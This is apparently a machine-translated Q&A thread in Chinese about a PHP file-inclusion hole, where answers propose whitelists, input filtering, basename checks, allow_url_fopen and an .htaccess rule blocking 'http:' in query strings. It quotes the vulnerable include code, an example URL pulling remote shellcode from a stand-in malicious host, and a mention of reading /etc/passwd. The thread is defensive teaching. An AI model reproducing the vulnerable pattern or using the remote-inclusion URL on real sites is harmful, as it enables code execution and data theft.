我的网站最近遭到攻击,在我看来是一个无辜的代码:
<?php
if ( isset( $ _GET['page'] ) ) {
include( $ _GET['page'] . ".php" );
} else {
include("home.php");
}
?>
没有SQL调用,所以我不怕SQL注入。但是,显然,SQL并不是唯一的注入方式。
本网站有一个解释和一些避免代码注入的例子:http://www.theserverpages.com/articles/webmasters/php/security/Code_Injection_Vulnerabilities_Explained.html
如何保护代码注入代码?
答案 0 :(得分:39)
使用白名单并确保该页面位于白名单中:
$whitelist = array('home', 'page');
if (in_array($_GET['page'], $whitelist)) {
include($_GET['page'].'.php');
} else {
include('home.php');
}
答案 1 :(得分:14)
清理输入的另一种方法是确保只有允许的字符(没有“/”,“。”,“:”,...)。但是,不要将错误的字符使用黑名单,而是使用允许字符的白名单:
$page = preg_replace('[^a-zA-Z0-9]', '', $page);
...后跟file_exists。
这样你就可以确保只执行你想要执行的脚本(例如,这会排除“blabla.inc.php”,因为“。”是不允许的。)
注意:这是一种“黑客”,因为用户可以执行“h.o.m.e”而它会给出“主页”页面,因为它所做的就是删除所有禁止的字符。它并不是要阻止想要在你的页面中使用可爱内容的“智能手机”,但它会阻止人们做非常糟糕的事情。
BTW:你可以在 .htaccess 文件中做的另一件事就是防止明显的攻击企图:
RewriteEngine on
RewriteCond %{QUERY_STRING} http[:%] [NC]
RewriteRule .* /–http– [F,NC]
RewriteRule http: /–http– [F,NC]
这样,所有使用“http:”url(和查询字符串)的页面访问都会导致出现“Forbidden”错误消息,甚至无法访问php脚本。这导致较少的服务器负载。
但请记住,查询字符串中不允许使用“http”。在某些情况下,您的网站可能会要求它(可能在填写表格时)。
顺便说一句:如果你能读懂德语:我对该主题也有blog post。
答案 2 :(得分:5)
接受用户输入时的#1规则始终清理它。在这里,您没有在将页面GET变量传递给include之前对其进行清理。在包含文件之前,您应该执行基本检查以查看服务器上是否存在该文件。
答案 3 :(得分:5)
从moving from desktop to web development上的上一个问题开始,我写道:
OWASP Guide to Building Secure Web Applications and Web Services应该是任何希望认真对待安全性的Web开发人员的必读内容(应该是所有 Web开发人员)。在思考安全性时,有许多原则可以帮助解决所需的思维方式。
如果阅读一份大文件并不适合你,那么请看看迈克安德鲁斯几年前在谷歌发表的关于How To Break Web Software的研讨会视频。
答案 4 :(得分:4)
我假设您处理同一目录中的文件:
<?php
if (isset($_GET['page']) && !empty($_GET['page'])) {
$page = urldecode($_GET['page']);
$page = basename($page);
$file = dirname(__FILE__) . "/{$page}.php";
if (!file_exists($file)) {
$file = dirname(__FILE__) . '/home.php';
}
} else {
$file = dirname(__FILE__) . '/home.php';
}
include $file;
?>
这不太漂亮,但应该解决你的问题。
答案 5 :(得分:3)
pek,对于短期修复,请应用其他用户建议的解决方案之一。对于中长期计划,您应该考虑迁移到现有的Web框架之一。它们以可靠,安全的方式处理路由和文件包含等所有低级内容,因此您可以专注于核心功能。
不要重新发明轮子。使用框架。任何一个都比没有好。学习它的初始时间投资几乎立即回报。
答案 6 :(得分:1)
到目前为止一些好的答案,也值得指出几个PHP细节:
文件打开功能使用wrappers来支持不同的协议。这包括通过本地Windows网络,HTTP和FTP等打开文件的功能。因此,在默认配置中,原始问题中的代码可以轻松地用于打开互联网上的任意文件;当然包括服务器本地磁盘上的所有文件(webbserver用户可以阅读)。 /etc/passwd
总是很有趣。
安全模式和open_basedir
可用于限制访问特定目录之外的文件。
配置设置allow_url_fopen
也很有用,它可以在使用文件打开功能时禁用对文件的URL访问。 ini-set
可用于在运行时设置和取消设置此值。
这些都是很好的后备安全防护装置,但请使用白名单来包含文件。
答案 7 :(得分:1)
我知道这是一篇非常古老的帖子,我希望你不再需要答案了,但我仍然怀念一个非常重要的方面imho,我喜欢分享给其他人阅读这篇文章。在您的代码中包含基于变量值的文件,您可以在字段的值和请求的结果之间建立直接链接(页面变为page.php)。我认为最好避免这种情况。 某个页面的请求与该页面的交付之间存在差异。如果你做出这种区分,你可以使用漂亮的网址,这是非常用户和SEO友好。而不是像'page'这样的字段值,你可以制作像'Spinoza-Ethica'这样的网址。这是来自数据库的表中的白名单或主键中的键,并将返回硬编码的文件名或值。除了普通白名单外,该方法还有几个优点:
后端响应实际上与前端请求无关。如果您想以不同方式设置后端系统,则无需在前端更改任何内容。
始终确保以数据库中的硬编码文件名或等效文件结束(从存储过程返回值),因为当您使用请求中的信息来构建时,会遇到麻烦响应。
由于您的网址与后端的投放无关,因此您无需在htAccess文件中重写您的网址以进行此类更改。
表示给用户的URL是用户友好的,通知用户文档的内容。
好的网址对SEO非常有用,因为搜索引擎正在搜索相关内容,当您的网址与内容一致时,它会获得更好的费率。当您的内容与您的内容完全不符时,至少是一个更好的速度。
如果您没有直接链接到php文件,您可以在处理之前将好的URL转换为任何其他类型的请求。这为程序员提供了更大的灵活性。
您必须清理请求,因为您从标准的不信任来源(Web的其余部分)获取信息。仅使用好的URL作为可能的输入使得URL的清理过程更加简单,因为您可以检查返回的URL是否符合您自己的格式。确保精美网址的格式不包含在漏洞利用中广泛使用的字符(例如“,”,&lt;,&gt;, - ,&amp;,等等。)。
答案 8 :(得分:0)
@pek - 这不行,因为你的数组键是0和1,而不是'home'和'page'。
我相信这段代码可以解决问题:
<?php
$whitelist = array(
'home',
'page',
);
if(in_array($_GET['page'], $whitelist)) {
include($_GET['page'] . '.php');
} else {
include('home.php');
}
?>
由于您有白名单,因此也不需要file_exists()
。
答案 9 :(得分:0)
将URL视为以下格式:
www.yourwebsite.com/index.php?page = http://malicodes.com/shellcode.txt
如果shellcode.txt运行SQL或PHP注入,那么您的网站将面临风险,对吗?想到这一点,使用白名单会有所帮助。
有一种方法可以过滤所有变量以避免黑客入侵。您可以使用PHP IDS或OSE Security Suite来帮助避免黑客入侵。安装安全套件后,您需要激活套件,这是指南:
http://www.opensource-excellence.com/shop/ose-security-suite/item/414.html
我建议你打开第2层保护,然后所有的POST和GET变量都会被过滤,特别是我提到的那个,如果发现了攻击,它会立即向你报告/
安全始终是首要任务